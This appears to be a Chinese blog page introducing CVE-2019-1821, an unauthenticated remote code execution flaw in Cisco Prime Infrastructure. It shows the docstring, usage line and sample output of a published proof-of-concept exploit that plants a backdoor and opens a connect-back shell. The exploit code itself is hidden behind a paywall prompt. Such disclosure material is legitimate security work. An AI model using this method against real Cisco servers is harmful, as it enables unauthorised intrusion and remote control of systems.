本文详细介绍了CVE-2019-1821，这是一个针对Cisco Prime Infrastructure的未授权远程代码执行漏洞。通过Health Monitor HA TarArchive Directory Traversal，攻击者可以构建恶意tar文件并上传到系统，实现远程代码执行。文章提供了一个exploit示例，展示了如何利用此漏洞植入回门并获取shell权限。
CVE-2019-1821 Cisco Prime Infrastructure Remote Code Execution
https://srcincite.io/blog/2019/05/17/panic-at-the-cisco-unauthenticated-rce-in-prime-infrastructure.html
Cscan思科扫描插件 (IP/Port/HostName/Boot/Version)
https://www.cnblogs.com/k8gege/p/10679491.html
CVE-2019-1821 Exploit
#!/usr/bin/python
“”"
Cisco Prime Infrastructure Health Monitor HA TarArchive Directory Traversal Remote Code Execution Vulnerability
Steven Seeley (mr_me) of Source Incite - 2019
SRC: SRC-2019-0034
CVE: CVE-2019-1821
Example:
saturn:~ mr_me$ ./poc.py
(+) usage: ./poc.py <target> <connectback:port>
(+) eg: ./poc.py 192.168.100.123 192.168.100.2:4444
saturn:~ mr_me$ ./poc.py 192.168.100.123 192.168.100.2:4444
(+) planted backdoor!
(+) starting handler on port 4444
(+) connection from 192
最低0.47元/天 解锁文章
扫一扫
3260
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
